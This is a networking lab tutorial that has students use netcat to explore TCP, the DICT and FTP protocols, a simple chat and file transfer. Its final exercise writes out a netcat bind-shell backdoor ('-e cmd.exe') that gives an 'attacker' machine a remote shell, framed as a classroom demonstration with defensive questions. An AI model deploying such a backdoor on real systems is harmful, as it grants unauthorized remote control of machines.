

Lab Tutorial 1 – Playing with the Internet

Overview

The purpose of this tutorial is to introduce you to a collection of tools that you can use to explore the Internet.

Our first tool is netcat, a tool that you can use to explore how some text-based protocols operate. This command can be called either `netcat` or `nc` on your machine. Anciently, there was another command called telnet that is somewhat similar, but it is insecure and should not be used anymore. The Telnet protocol is specified in RFC 854 and tends to work the same on all machines. However, there is no standard implementation of netcat and there are some differences between the versions of netcat on Unix, Macs and Windows, where you may need to install it.

One of the transport protocols is TCP. We will first use netcat to create and play with some TCP connections. TCP first creates a connection before it sends data. A TCP connection allows for two-way connection-oriented communication between two processes.

Exercise 1 - online dictionaries

In the following exercise we are going to connect to a dictionary service and try out a few different commands. The dictionary service is defined in RFC 2229 (<https://tools.ietf.org/html/rfc2229>). By default the dictionary service runs on port 2628. Try using netcat to connect to host `dict.org`, port 2628.

```
netcat dict.org 2628
```

Use the “help” command to discover what other commands the dictionary server responds to.

- 1-1. How many dictionaries does the server support?
- 1-2. What command would you use to discover the definition of the word “pemican”?
- 1-3. How many different dictionaries contain a definition of the word “protocol”?
- 1-4. What command would you use to find all the words that “sound like” the word “orange”?

Exercise 2 - connecting to the FTP service

The File Transfer Protocol (FTP) was one of the first widely used services on the Internet to transfer or download files from one machine to a client machine. There used to be many so-called anonymous FTP servers but they are not as common anymore because they can be a security risk. Today sFTP (secure FTP) is often used instead and the service is seldom left open. Nevertheless, there are still some open FTP servers out there (the UBC CS department hosts one of them).

Connect to host ftp.cs.wisc.edu, port 21, and type the following, noting the replies that the server gives you:

```
USER anonymous  
PASS anonymous  
PWD  
PASV
```

at this point you will receive a sequence of 6 numbers (a,b,c,d,e,f). Without closing the connection, compute the next connection that you will be making. The host will be: a.b.c.d (based on the received numbers), and to the port will be the result of computing $(e*256+f)$. For example, if you receive (128,10,32,41,10,8), use 128.10.32.41 as the host, and $10*256+8=2568$ as the port.

Now open up a new shell and again use netcat to connect to the IP address and port you have calculated from the 6 numbers you received after the “PASV” command. Then return to the original terminal and type:

```
list  
quit
```

If you see a list of files come out in the other terminal then you have managed to connect to the connection for data from the FTP server.

2-1. Create the screenshots

Notice how FTP works: one connection (the control channel) tells the server what you want to do, while another connection (the data channel) actually transfers the files. In the next exercise, you’ll recreate this process manually with netcat—no FTP commands, just raw TCP. This will help you understand that FTP is essentially a structured layer built on top of the same sockets you’re about to use.

Exercise 3 – Netcat Chat Server

In this exercise you will simulate a simple chat system using TCP.

1. In one terminal, start a listener (server):

```
nc -nlvp 1100
```

2. In another terminal (or another student’s VM), connect as a client:

```
nc -nv <server-ip> 1100
```

3. Type back and forth and observe how text is exchanged.

4. Create screenshots of both client and server

Questions:

- 3-1. What happens when the server closes the connection?
- 3-2. What happens if multiple clients try to connect?
- 3-3. How does this illustrate TCP's connection-oriented behavior?

Exercise 4 – File Transfer with Netcat

Netcat can be used to transfer files between two machines. In Exercise 2, FTP automatically set up a data channel for file transfer. Here, you will do the same thing yourself—but using only netcat. This shows how FTP and other protocols are really just user-friendly “wrappers” around raw TCP connections.

1. On the receiving machine, set up netcat to listen and save output to a file:

```
nc -l -p 4444 > received.txt
```

2. On the sending machine, connect and send a file:

```
nc <receiver-ip> 4444 < file.txt
```

3. Compare the original file.txt and the received.txt to ensure the transfer worked.

4. Create screenshots of both client and server

Questions:

- 4-1. How fast was the file transferred? Observe the time it takes for the file to appear on the receiving machine. For small files, this will likely be almost instant. You can measure it more precisely using the time command:

```
time nc <receiver-ip> 4444 < file.txt
```

- 4-2. What happens if you send a binary file (e.g., an image) instead of text? Compare file size against the time it takes to transfer the file.

Exercise 5 - Backdoor Access (Controlled Demonstration)

⚠ Warning: This is for classroom learning only. Never use netcat backdoors on production or unauthorized systems.

1. On the “server” machine, start a listener that executes a shell on connection:

```
nc -l -p 5555 -e cmd.exe
```

2. On the “attacker” machine, connect to it:

```
nc <server-ip> 5555
```

3. You should now have a remote shell on the server machine. Try running basic commands (whoami, pwd, ls,...).
4. Create screenshots of both machines

Questions:

- 5-1. What risks does this demonstrate if a machine is left exposed?
- 5-2. How might defenders detect or prevent this kind of backdoor?
- 5-3. Why is using encrypted alternatives (like SSH) much safer?

Deliverables:

Submit the screenshots and the question answers in a word file. *You have to upload your work in the following format:*

Filename: Lab1-FirstName-Lastname-StdNo.PDF